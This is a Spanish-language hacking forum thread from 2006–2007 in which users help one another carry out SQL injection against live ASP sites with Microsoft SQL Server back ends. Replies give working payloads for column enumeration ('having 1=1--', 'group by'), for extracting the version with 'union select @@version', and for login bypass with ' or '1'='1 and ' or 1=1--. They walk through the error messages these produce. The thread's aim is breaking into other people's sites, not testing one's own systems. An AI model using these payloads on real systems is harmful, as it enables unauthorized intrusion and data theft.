Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: BandidoOFF en 21 Agosto 2006, 02:05 am



Título: inquietud SQL Injection en ASP
Publicado por: BandidoOFF en 21 Agosto 2006, 02:05 am
Tengo una inquietud acerca de SQL Injection en paginas ASP.

Curioseando por ahi, intente hacer Sql Injection en una web hecha en ASP, la cual para ingresar se requiere  de un Correo Electronico y una Clave. Leyendo sobre las tecnica de Sql Injection aplique una de las formas mas conocidas, y me salio el siguiente error:

Microsoft VBScript compilation error '800a0411'

Name redefined

/tienda/template/menu.asp, line 22

Dim mscsUser
----^
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near '='.

/tienda/ingreso.asp, line 49

De este error puedo deducir segun mi humilde opinion que se trata de una BD SQL server usando un Protocolo o Driver general para acceso a la BD como OLE DB.

Ademas de la variable declarada en VbScript de nombre mscsUser

La pregunta es ¿Este error indica que puede ser vulnerable a SQL Injection?, si es asi, ¿como podria hacerlo?..o que me sugieren.

Gracias.




Título: Re: inquietud SQL Injection en ASP
Publicado por: [.:: NauJFracT ::.] en 21 Agosto 2006, 06:41 am
pues si conoces como son los registros de esa base de datos podrías hacer varias cosas, los conoces?


Título: Re: inquietud SQL Injection en ASP
Publicado por: BandidoOFF en 21 Agosto 2006, 21:50 pm
La verdad no, solo hice una prueba y me salio el error que comente.


Título: Re: inquietud SQL Injection en ASP
Publicado por: sirdarckcat en 21 Agosto 2006, 21:52 pm
lee los manuales de SQL Injection que hay en el foro.. ahi tambien puse links a otros docs.

Saludos!!


Título: Re: inquietud SQL Injection en ASP
Publicado por: s0cratex en 26 Agosto 2006, 04:01 am
Viendo tu error creo que no es necesario que pongas la comilla simple ' antes de las inyecciones.

Ahora intenta sacar el nombre de la tabla y los campos con:
having 1=1--
ex: http://www.sitio.com/noticia.asp?codigo=2 having 1=1--
ahora recibiras un error así:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'noticias.id_noticia' is invalid in the select list because it is...

Luego coges el nombre del campo noticias.id_noticia y lo inyectas así:
http://www.sitio.com/noticia.asp?codigo=2 group by noticias.id_noticia having 1=1--
y recibiras practicamente el mismo error pero con otro nombre de campo...

Una vez sacados todos los nombres de los campos podrías sacar la versión del MS-SQL con "union select":
http://www.sitio.com/noticia.asp?codigo=2 union select @@version,1,1,1--

deberas poner tantos "1" como campos haya en la tabla:
Tipo de error:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.

Y así ir probando y probando:
Para más información busca en Internet, estos ejemplos los encontras claramente explicados aquí:

http://www.telefonica.net/web/espaiwebfacultat/asqlinj.zip

espero te sirva este post... by





Título: Re: inquietud SQL Injection en ASP
Publicado por: servidor32 en 24 Junio 2007, 04:24 am
Bueno yo tambien tengo unos problemitas con la inyeccion de codigos resulta k pongo en el login y el password de una pagina asp esto login: ''or '1'=' y en el pass: ''or '1'=' lo mismo y me da el siguiente error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near '1'.

/validar.asp, line 98
y cuando pongo having 1=1-- en el usuario y contraseña me dice contraseña o pass invalidos


Título: Re: inquietud SQL Injection en ASP
Publicado por: wizache en 10 Julio 2007, 21:48 pm
Bueno yo tambien tengo unos problemitas con la inyeccion de codigos resulta k pongo en el login y el password de una pagina asp esto login: ''or '1'=' y en el pass: ''or '1'=' lo mismo y me da el siguiente error:
en el lgin deberias poner
' or '1'='1
lo que dices que pusiste es incorrecto:
imagina la cadena sql:
SELECT * FROM ususario WHERE user='' or '1'='1' AND....
nota como la cadena es valida todos lso comillas se cierran correctamente en cambio con lo que tu envias no:
SELECT * FROM ususario WHERE user='''or '1'=' ' AND....

tambien pruedes probar el ya clasico
' or 1=1--
SELECT * FROM ususario WHERE user=''or 1=1 -- ' AND (todo esto se vuelve comentario)....


Título: Re: inquietud SQL Injection en ASP
Publicado por: Tengu en 20 Julio 2007, 19:19 pm
alguien entiende este error?:
al intentar:
http://www.vulnerable.com:80/search.asp?bqd=111-222-1933email@address.com&oper='

Recibo el siguiientye error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e21'

El controlador ODBC no admite las propiedades solicitadas.

/search.asp, line 106


Título: Re: inquietud SQL Injection en ASP
Publicado por: yeikos en 20 Julio 2007, 19:27 pm
Sí, que has roto la sintaxis de la consulta con la camilla simple.